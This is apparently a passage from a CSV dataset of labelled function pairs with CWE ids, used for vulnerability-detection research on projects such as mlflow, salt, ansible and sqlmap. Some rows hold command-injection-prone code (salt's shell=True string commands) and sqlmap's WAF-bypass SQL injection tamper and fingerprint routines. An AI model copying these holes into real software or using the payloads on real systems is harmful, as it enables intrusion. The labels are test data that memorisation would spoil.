        view_type=ViewType.ACTIVE_ONLY, order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""Abc"", ""a"", ""Default""]
    experiments = mlflow_client.search_experiments(view_type=ViewType.DELETED_ONLY)
    assert [e.name for e in experiments] == [""ab""]
    experiments = mlflow_client.search_experiments(
        view_type=ViewType.ALL, order_by=[""creation_time desc""]
    )
    assert [e.name for e in experiments] == [""Abc"", ""ab"", ""a"", ""Default""]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/client.py,0,"def load_prompt(
        self,
        name_or_uri: str,
        version: Optional[Union[str, int]] = None,
        allow_missing: bool = False,
    ) -> Optional[Prompt]:
        """"""
        Load a :py:class:`Prompt <mlflow.entities.Prompt>` from the MLflow Prompt Registry.

        The prompt can be specified by name and version, or by URI.

        Example:

        .. code-block:: python

            from mlflow import MlflowClient

            client = MlflowClient(registry_uri=""sqlite:///prompt_registry.db"")

            # Load a specific version of the prompt by name and version
            prompt = client.load_prompt(""my_prompt"", version=1)

            # Load a specific version of the prompt by URI
            prompt = client.load_prompt(""prompts:/my_prompt/1"")

        Args:
            name_or_uri: The name of the prompt, or the URI in the format ""prompts:/name/version"".
            version: The version of the prompt (required when using name, not allowed when using URI).
            allow_missing: If True, return None instead of raising Exception if the specified prompt
                is not found.
        """"""
        if name_or_uri.startswith(""prompts:/""):
            if version is not None:
                raise MlflowException(
                    ""The `version` argument should not be specified when loading a prompt by URI."",
                    INVALID_PARAMETER_VALUE,
                )
            name, version = self.parse_prompt_uri(name_or_uri)
        else:
            if version is None:
                raise MlflowException(
                    ""Version must be specified when loading a prompt by name. ""
                    ""Use a prompt URI (e.g., 'prompts:/name/version') or provide the version parameter."",
                    INVALID_PARAMETER_VALUE,
                )
            name = name_or_uri

        registry_client = self._get_registry_client()

        try:
            # Use get_prompt_version for specific version/alias
            return registry_client.get_prompt_version(name, version)
                
        except MlflowException as exc:
            if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                return None
            raise",,mlflow/mlflow,26f631d36097f23ab599e1856aeec1a77f53c988,"def load_prompt(
        self,
        name_or_uri: str,
        version: Optional[int] = None,
        allow_missing: bool = False,
    ) -> Optional[Prompt]:
        """"""
        Load a :py:class:`Prompt <mlflow.entities.Prompt>` from the MLflow Prompt Registry.

        The prompt can be specified by name and version, or by URI.

        Example:

        .. code-block:: python

            from mlflow import MlflowClient

            client = MlflowClient(registry_uri=""sqlite:///prompt_registry.db"")

            # Load the latest version of the prompt by name
            prompt = client.load_prompt(""my_prompt"")

            # Load a specific version of the prompt by name and version
            prompt = client.load_prompt(""my_prompt"", version=1)

            # Load a specific version of the prompt by URI
            prompt = client.load_prompt(""prompts:/my_prompt/1"")

        Args:
            name_or_uri: The name of the prompt, or the URI in the format ""prompts:/name/version"".
            version: The version of the prompt. If not specified, the latest version will be loaded.
            allow_missing: If True, return None instead of raising Exception if the specified prompt
                is not found.
        """"""
        if name_or_uri.startswith(""prompts:/""):
            if version is not None:
                raise MlflowException(
                    ""The `version` argument should not be specified when loading a prompt by URI."",
                    INVALID_PARAMETER_VALUE,
                )
            name, version = self.parse_prompt_uri(name_or_uri)
        else:
            name = name_or_uri

        registry_client = self._get_registry_client()

        # Unity Catalog uses native prompt APIs
        if is_databricks_unity_catalog_uri(self._registry_uri):
            try:
                return registry_client.get_prompt(
                    name, str(version) if version is not None else None
                )
            except MlflowException as exc:
                if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                    return None
                raise

        try:
            mv = (
                registry_client.get_latest_versions(name, stages=ALL_STAGES)[0]
                if version is None
                else registry_client.get_model_version(name, version)
            )
        except MlflowException as exc:
            if allow_missing and exc.error_code == ""RESOURCE_DOES_NOT_EXIST"":
                return None
            raise

        # Fetch the prompt-level tags from the registered model
        prompt_tags = registry_client.get_registered_model(name)._tags
        return Prompt.from_model_version(mv, prompt_tags=prompt_tags)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,examples/minitwit/minitwit.py,0,"def close_database(exception):
    """"""Closes the database again at the end of the request.""""""
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()",,pallets/flask,d2d8e66130f8aabf8e0e4b80a42352f8ef93c347,"def close_database(exception):
    """"""Closes the database again at the end of the request.""""""
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/providers/airbyte/hooks/test_airbyte.py,0,"def test_wait_for_job_state_unrecognized(self, mock_get_job):
        mock_get_job.side_effect = [
            self.return_value_get_job(self.hook.RUNNING),
            self.return_value_get_job(""UNRECOGNIZED""),
        ]
        with pytest.raises(AirflowException, match=""unexpected state""):
            self.hook.wait_for_job(job_id=self.job_id, wait_seconds=0)

        calls = [mock.call(job_id=self.job_id), mock.call(job_id=self.job_id)]
        mock_get_job.assert_has_calls(calls)",CWE-Unknown,apache/airflow,153370310ed2c4b0687cd350ca8014c802f20045,"def test_wait_for_job_state_unrecognized(self, mock_get_job):
        mock_get_job.side_effect = [
            self.return_value_get_job(self.hook.RUNNING),
            self.return_value_get_job(""UNRECOGNIZED""),
        ]
        with pytest.raises(Exception, match=""unexpected state""):
            self.hook.wait_for_job(job_id=self.job_id, wait_seconds=0)

        calls = [mock.call(job_id=self.job_id), mock.call(job_id=self.job_id)]
        mock_get_job.assert_has_calls(calls)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/alternatives.py,0,"def set_(name, path):
    '''
    Manually set the alternative <path> for <name>.

    CLI Example:

    .. code-block:: bash

        salt '*' alternatives.set name path
    '''

    cmd = '{0} --set {1} {2}'.format(_get_cmd(), name, path)
    out = __salt__['cmd.run_all'](cmd)
    if out['retcode'] > 0:
        return out['stderr']
    return out['stdout']",,saltstack/salt,bc2d8b9da1df04be4a1a284069292bb95d692b77,"def set_(name, path):
    '''
    Manually set the alternative <path> for <name>.

    CLI Example:

    .. code-block:: bash

        salt '*' alternatives.set name path
    '''

    cmd = '{0} --set {1} {2}'.format(_get_cmd(), name, path)
    out = __salt__['cmd.run_all'](cmd)
    if out['retcode'] > 0:
        return out['stderr']
    return out['stdout']"
,UNKNOWN,UNKNOWN,tamper/space2morepound.py,1,"def tamper(payload):
    """"""
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Example:
        * Input: 1 AND 9227=9227
        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html
    """"""

    def process(match):
        word = match.group('word')
        randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))

        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, ""%s%%23%s%%0A"" % (word, randomStr))
        else:
            return match.group()

    retVal = """" 

    if payload:
        payload = re.sub(r""(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)"", lambda match: process(match), payload)

        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
                retVal += ""%%23%s%%0A"" % randomStr
            elif payload[i] == '#' or payload[i:i+3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal",CWE-330,sqlmapproject/sqlmap,1e1f4296681403822bd8ba40c71fe39d52abd266,"def tamper(payload):
    """"""
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Example:
        * Input: 1 AND 9227=9227
        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html
    """"""

    def process(match):
        word = match.group('word')
        randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))

        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, ""%s%%23%s%%0A"" % (word, randomStr))
        else:
            return match.group()

    retVal = """" 

    if payload:
        payload = re.sub(r""(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)"", lambda match: process(match), payload)

        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
                retVal += ""%%23%s%%0A"" % randomStr
            elif payload[i] == '#' or payload[i:i+3] == '-- ':
                retVal += payload[i]
                break
            else:
                retVal += payload[i]

    return retVal"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_gcs.py,1,"def test_upload_file(self, mock_service, testdata_file):
        test_bucket = ""test_bucket""
        test_object = ""test_object""
        metadata = {""key1"": ""val1"", ""key2"": ""key2""}

        bucket_mock = mock_service.return_value.bucket
        blob_object = bucket_mock.return_value.blob

        upload_method = blob_object.return_value.upload_from_filename

        self.gcs_hook.upload(test_bucket, test_object, filename=testdata_file, metadata=metadata)

        upload_method.assert_called_once_with(
            filename=testdata_file, content_type=""application/octet-stream"", timeout=60
        )

        assert metadata == blob_object.return_value.metadata",CWE-703,apache/airflow,e70bee00cd12ecf1462485a747c0e3296ef7d48c,"def test_upload_file(self, mock_service, testdata_file):
        test_bucket = ""test_bucket""
        test_object = ""test_object""
        metadata = {""key1"": ""val1"", ""key2"": ""key2""}

        bucket_mock = mock_service.return_value.bucket
        blob_object = bucket_mock.return_value.blob

        upload_method = blob_object.return_value.upload_from_filename

        self.gcs_hook.upload(test_bucket, test_object, filename=testdata_file, metadata=metadata)

        upload_method.assert_called_once_with(
            filename=testdata_file, content_type=""application/octet-stream"", timeout=60
        )

        assert metadata == blob_object.return_value.metadata"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/ssh.py,0,"def _file_transport_command(self, in_path: str, out_path: str, sftp_action: str) -> tuple[int, bytes, bytes]:
        # scp and sftp require square brackets for IPv6 addresses, but
        # accept them for hostnames and IPv4 addresses too.
        host = '[%s]' % self.host

        smart_methods = ['sftp', 'scp', 'piped']

        # Windows does not support dd so we cannot use the piped method
        if getattr(self._shell, ""_IS_WINDOWS"", False):
            smart_methods.remove('piped')

        # Transfer methods to try
        methods = []

        # Use the transfer_method option if set
        ssh_transfer_method = self.get_option('ssh_transfer_method')

        if ssh_transfer_method == 'smart':
            methods = smart_methods
        else:
            methods = [ssh_transfer_method]

        for method in methods:
            returncode = stdout = stderr = None
            if method == 'sftp':
                cmd = self._build_command(self.get_option('sftp_executable'), 'sftp', to_bytes(host))
                in_data = u""{0} {1} {2}\n"".format(sftp_action, shlex.quote(in_path), shlex.quote(out_path))
                in_data = to_bytes(in_data, nonstring='passthru')
                (returncode, stdout, stderr) = self._bare_run(cmd, in_data, checkrc=False)
            elif method == 'scp':
                scp = self.get_option('scp_executable')

                if sftp_action == 'get':
                    cmd = self._build_command(scp, 'scp', u'{0}:{1}'.format(host, self._shell.quote(in_path)), out_path)
                else:
                    cmd = self._build_command(scp, 'scp', in_path, u'{0}:{1}'.format(host, self._shell.quote(out_path)))
                in_data = None
                (returncode, stdout, stderr) = self._bare_run(cmd, in_data, checkrc=False)
            elif method == 'piped':
                if sftp_action == 'get':
                    # we pass sudoable=False to disable pty allocation, which
                    # would end up mixing stdout/stderr and screwing with newlines
                    (returncode, stdout, stderr) = self.exec_command('dd if=%s bs=%s' % (self._shell.quote(in_path), BUFSIZE), sudoable=False)
                    with open(to_bytes(out_path, errors='surrogate_or_strict'), 'wb+') as out_file:
                        out_file.write(stdout)
                else:
                    with open(to_bytes(in_path, errors='surrogate_or_strict'), 'rb') as f:
                        in_data = to_bytes(f.read(), nonstring='passthru')
                    if not in_data:
                        count = ' count=0'
                    else:
                        count = ''
                    (returncode, stdout, stderr) = self.exec_command('dd of=%s bs=%s%s' % (out_path, BUFSIZE, count), in_data=in_data, sudoable=False)

            # Check the return code and rollover to next method if failed
            if returncode == 0:
                return (returncode, stdout, stderr)
            else:
                # If not in smart mode, the data will be printed by the raise below
                if len(methods) > 1:
                    display.warning(u'%s transfer mechanism failed on %s. Use ANSIBLE_DEBUG=1 to see detailed information' % (method, host))
                    display.debug(u'%s' % to_text(stdout))
                    display.debug(u'%s' % to_text(stderr))

        if returncode == 255:
            raise AnsibleConnectionFailure(""Failed to connect to the host via %s: %s"" % (method, to_native(stderr)))
        else:
            raise AnsibleError(""failed to transfer file to %s %s:\n%s\n%s"" %
                               (to_native(in_path), to_native(out_path), to_native(stdout), to_native(stderr)))",,ansible/ansible,520fa688ba232ed165fc2dbd3b2be2ebde365ba1,"def _file_transport_command(self, in_path: str, out_path: str, sftp_action: str) -> tuple[int, bytes, bytes]:
        # scp and sftp require square brackets for IPv6 addresses, but
        # accept them for hostnames and IPv4 addresses too.
        host = '[%s]' % self.host

        smart_methods = ['sftp', 'scp', 'piped']

        # Windows does not support dd so we cannot use the piped method
        if getattr(self._shell, ""_IS_WINDOWS"", False):
            smart_methods.remove('piped')

        # Transfer methods to try
        methods = []

        # Use the transfer_method option if set
        ssh_transfer_method = self.get_option('ssh_transfer_method')

        if ssh_transfer_method == 'smart':
            methods = smart_methods
        else:
            methods = [ssh_transfer_method]

        for method in methods:
            returncode = stdout = stderr = None
            if method == 'sftp':
                cmd = self._build_command(self.get_option('sftp_executable'), 'sftp', to_bytes(host))
                in_data = u""{0} {1} {2}\n"".format(sftp_action, shlex.quote(in_path), shlex.quote(out_path))
                in_data = to_bytes(in_data, nonstring='passthru')
                (returncode, stdout, stderr) = self._bare_run(cmd, in_data, checkrc=False)
            elif method == 'scp':
                scp = self.get_option('scp_executable')

                if sftp_action == 'get':
                    cmd = self._build_command(scp, 'scp', u'{0}:{1}'.format(host, self._shell.quote(in_path)), out_path)
                else:
                    cmd = self._build_command(scp, 'scp', in_path, u'{0}:{1}'.format(host, self._shell.quote(out_path)))
                in_data = None
                (returncode, stdout, stderr) = self._bare_run(cmd, in_data, checkrc=False)
            elif method == 'piped':
                if sftp_action == 'get':
                    # we pass sudoable=False to disable pty allocation, which
                    # would end up mixing stdout/stderr and screwing with newlines
                    (returncode, stdout, stderr) = self.exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE), sudoable=False)
                    with open(to_bytes(out_path, errors='surrogate_or_strict'), 'wb+') as out_file:
                        out_file.write(stdout)
                else:
                    with open(to_bytes(in_path, errors='surrogate_or_strict'), 'rb') as f:
                        in_data = to_bytes(f.read(), nonstring='passthru')
                    if not in_data:
                        count = ' count=0'
                    else:
                        count = ''
                    (returncode, stdout, stderr) = self.exec_command('dd of=%s bs=%s%s' % (out_path, BUFSIZE, count), in_data=in_data, sudoable=False)

            # Check the return code and rollover to next method if failed
            if returncode == 0:
                return (returncode, stdout, stderr)
            else:
                # If not in smart mode, the data will be printed by the raise below
                if len(methods) > 1:
                    display.warning(u'%s transfer mechanism failed on %s. Use ANSIBLE_DEBUG=1 to see detailed information' % (method, host))
                    display.debug(u'%s' % to_text(stdout))
                    display.debug(u'%s' % to_text(stderr))

        if returncode == 255:
            raise AnsibleConnectionFailure(""Failed to connect to the host via %s: %s"" % (method, to_native(stderr)))
        else:
            raise AnsibleError(""failed to transfer file to %s %s:\n%s\n%s"" %
                               (to_native(in_path), to_native(out_path), to_native(stdout), to_native(stderr)))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/fingerprint.py,0,"def __commentCheck(self):
        infoMsg = ""executing MySQL comment injection fingerprint""
        logger.info(infoMsg)

        query   = agent.prefixQuery(""/* NoValue */"")
        query   = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = ""unable to perform MySQL comment injection""
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = getUnicode(version)
                query   = agent.prefixQuery(""/*!%s AND %d=%d*/"" % (version, randInt, randInt + 1))
                query   = agent.suffixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == ""3"":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = ""%s.%s.%s"" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None",,sqlmapproject/sqlmap,17486e472a3c05cae2ae92d5887a922b7ac7aacf,"def __commentCheck(self):
        infoMsg = ""executing MySQL comment injection fingerprint""
        logger.info(infoMsg)

        query   = agent.prefixQuery(""/* NoValue */"")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = ""unable to perform MySQL comment injection""
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = getUnicode(version)
                query   = agent.prefixQuery(""/*!%s AND %d=%d*/"" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == ""3"":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = ""%s.%s.%s"" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/validation.py,0,"def _validate_model_name(model_name):
    if model_name is None or model_name == """":
        raise MlflowException(missing_value(""name""), error_code=INVALID_PARAMETER_VALUE)",,mlflow/mlflow,719e0d3f91eb4021ec95a02788dc8bf58a53f791,"def _validate_model_name(model_name):
    if model_name is None or model_name == """":
        raise MlflowException(missing_value(""name""), error_code=INVALID_PARAMETER_VALUE)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectDistinct:
            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            _ = zeroDepthSearch(query, "" FROM "")
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT%s\s+"" % prefixRegex, """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = fieldsToCastStr.replace("", "", ',')
            fieldsToCastList = fieldsToCastList.split(',')

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists",,sqlmapproject/sqlmap,b35a0810efdfddb5902f0de5fadae8c17419b034,"def getFields(self, query):
        """"""
        Take in input a query string and return its fields (columns) and
        more details.

        Example:

        Input:  SELECT user, password FROM mysql.user
        Output: user,password

        @param query: query to be processed
        @type query: C{str}

        @return: query fields (columns) and more details
        @rtype: C{str}
        """"""

        prefixRegex = r""(?:\s+(?:FIRST|SKIP)\s+\d+)*""
        fieldsSelectTop = re.search(r""\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM"", query, re.I)
        fieldsSelectDistinct = re.search(r""\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM"" % prefixRegex, query, re.I)
        fieldsSelectCase = re.search(r""\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))"" % prefixRegex, query, re.I)
        fieldsSelectFrom = re.search(r""\ASELECT%s\s+(.+?)\s+FROM "" % prefixRegex, query, re.I)
        fieldsExists = re.search(r""EXISTS\(([^)]*)\)\Z"", query, re.I)
        fieldsSelect = re.search(r""\ASELECT%s\s+(.*)"" % prefixRegex, query, re.I)
        fieldsSubstr = re.search(r""\A(SUBSTR|MID\()"", query, re.I)
        fieldsMinMaxstr = re.search(r""(?:MIN|MAX)\(([^\(\)]+)\)"", query, re.I)
        fieldsNoSelect = query

        if fieldsSubstr:
            fieldsToCastStr = query
        elif fieldsMinMaxstr:
            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
        elif fieldsExists:
            fieldsToCastStr = fieldsSelect.groups()[0]
        elif fieldsSelectTop:
            fieldsToCastStr = fieldsSelectTop.groups()[0]
        elif fieldsSelectDistinct:
            fieldsToCastStr = fieldsSelectDistinct.groups()[0]
        elif fieldsSelectCase:
            fieldsToCastStr = fieldsSelectCase.groups()[0]
        elif fieldsSelectFrom:
            _ = zeroDepthSearch(query, "" FROM "")
            fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
            fieldsToCastStr = re.sub(r""\ASELECT\s+"", """", fieldsToCastStr)
        elif fieldsSelect:
            fieldsToCastStr = fieldsSelect.groups()[0]
        else:
            fieldsToCastStr = fieldsNoSelect

        # Function
        if re.search(""\A\w+\(.*\)"", fieldsToCastStr, re.I) or (fieldsSelectCase and ""WHEN use"" not in query) or fieldsSubstr:
            fieldsToCastList = [fieldsToCastStr]
        else:
            fieldsToCastList = fieldsToCastStr.replace("", "", ',')
            fieldsToCastList = fieldsToCastList.split(',')

        return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/config.py,0,"def gather_bootstrap_script(bootstrap=None):
    '''
    Download the salt-bootstrap script, and return its location

    bootstrap
        URL of alternate bootstrap script

    CLI Example:

    .. code-block:: bash

        salt '*' config.gather_bootstrap_script
    '''
    if not HAS_CLOUD:
        return False, 'config.gather_bootstrap_script is unavailable'
    ret = salt.utils.cloud.update_bootstrap(__opts__, url=bootstrap)
    if 'Success' in ret and len(ret['Success']['Files updated']) > 0:
        return ret['Success']['Files updated'][0]",,saltstack/salt,9eb9e1af4aa2bf5bc042f6cd6125267a0c27450e,"def gather_bootstrap_script(bootstrap=None):
    '''
    Download the salt-bootstrap script, and return its location

    bootstrap
        URL of alternate bootstrap script

    CLI Example:

    .. code-block:: bash

        salt '*' config.gather_bootstrap_script
    '''
    if not HAS_CLOUD:
        return False, 'config.gather_bootstrap_script is unavailable'
    ret = salt.utils.cloud.update_bootstrap(__opts__, url=bootstrap)
    if 'Success' in ret and len(ret['Success']['Files updated']) > 0:
        return ret['Success']['Files updated'][0]"
,UNKNOWN,UNKNOWN,salt/utils/msgpack.py,1,"def _sanitize_msgpack_unpack_kwargs(kwargs):
    """"""
    Clean up msgpack keyword arguments for unpack operations, based on
    the version
    https://github.com/msgpack/msgpack-python/blob/master/ChangeLog.rst
    """"""
    assert isinstance(kwargs, dict)
    if version >= (1, 0, 0):
        kwargs.setdefault(""raw"", True)
        kwargs.setdefault(""strict_map_key"", False)
    return _sanitize_msgpack_kwargs(kwargs)",CWE-703,saltstack/salt,abe004fe242ee85d984c87a1a2de76bf00d00911,"def _sanitize_msgpack_unpack_kwargs(kwargs):
    """"""
    Clean up msgpack keyword arguments for unpack operations, based on
    the version
    https://github.com/msgpack/msgpack-python/blob/master/ChangeLog.rst
    """"""
    assert isinstance(kwargs, dict)
    if version >= (1, 0, 0):
        kwargs.setdefault(""raw"", True)
        kwargs.setdefault(""strict_map_key"", False)
    return _sanitize_msgpack_kwargs(kwargs)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/hsqldb/fingerprint.py,0,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp and not conf.api:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp and not conf.api:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""
        actVer = Format.getDbms()

        if not conf.extensiveFp:
            value += actVer
            return value

        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get(""dbmsVersion"")

            if re.search(r""-log$"", kb.data.banner):
                banVer += "", logging enabled""

            banVer = Format.getDbms([banVer] if banVer else None)
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value",,sqlmapproject/sqlmap,d6cf038e48846681b8b533c22cc25885069ee343,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp and not conf.api:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp and not conf.api:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""
        actVer = Format.getDbms()

        if not conf.extensiveFp:
            value += actVer
            return value

        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp[""dbmsVersion""] if 'dbmsVersion' in kb.bannerFp else None

            if re.search(r""-log$"", kb.data.banner):
                banVer += "", logging enabled""

            banVer = Format.getDbms([banVer] if banVer else None)
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value"
,UNKNOWN,UNKNOWN,salt/modules/virt.py,1,"def seed_non_shared_migrate(disks, force=False):
    '''
    Non shared migration requires that the disks be present on the migration
    destination, pass the disks information via this function, to the
    migration destination before executing the migration.

    CLI Example::

        salt '*' virt.seed_non_shared_migrate <disks>
    '''
    for _, data in disks.items():
        fn_ = data['file']
        form = data['file format']
        size = data['virtual size'].split()[1][1:]
        if os.path.isfile(fn_) and not force:
            # the target exists, check to see if it is compatible
            pre = yaml.safe_load(subprocess.Popen('qemu-img info arch',
                shell=True,
                stdout=subprocess.PIPE).communicate()[0])
            if pre['file format'] != data['file format']\
                    and pre['virtual size'] != data['virtual size']:
                return False
        if not os.path.isdir(os.path.dirname(fn_)):
            os.makedirs(os.path.dirname(fn_))
        if os.path.isfile(fn_):
            os.remove(fn_)
        cmd = 'qemu-img create -f ' + form + ' ' + fn_ + ' ' + size
        subprocess.call(cmd, shell=True)
        creds = _libvirt_creds()
        cmd = 'chown ' + creds['user'] + ':' + creds['group'] + ' ' + fn_
        subprocess.call(cmd, shell=True)
    return True",CWE-78,saltstack/salt,f5085aef78fd2e1e0456b95695b7cae4121f3a39,"def seed_non_shared_migrate(disks, force=False):
    '''
    Non shared migration requires that the disks be present on the migration
    destination, pass the disks information via this function, to the
    migration destination before executing the migration.

    CLI Example::

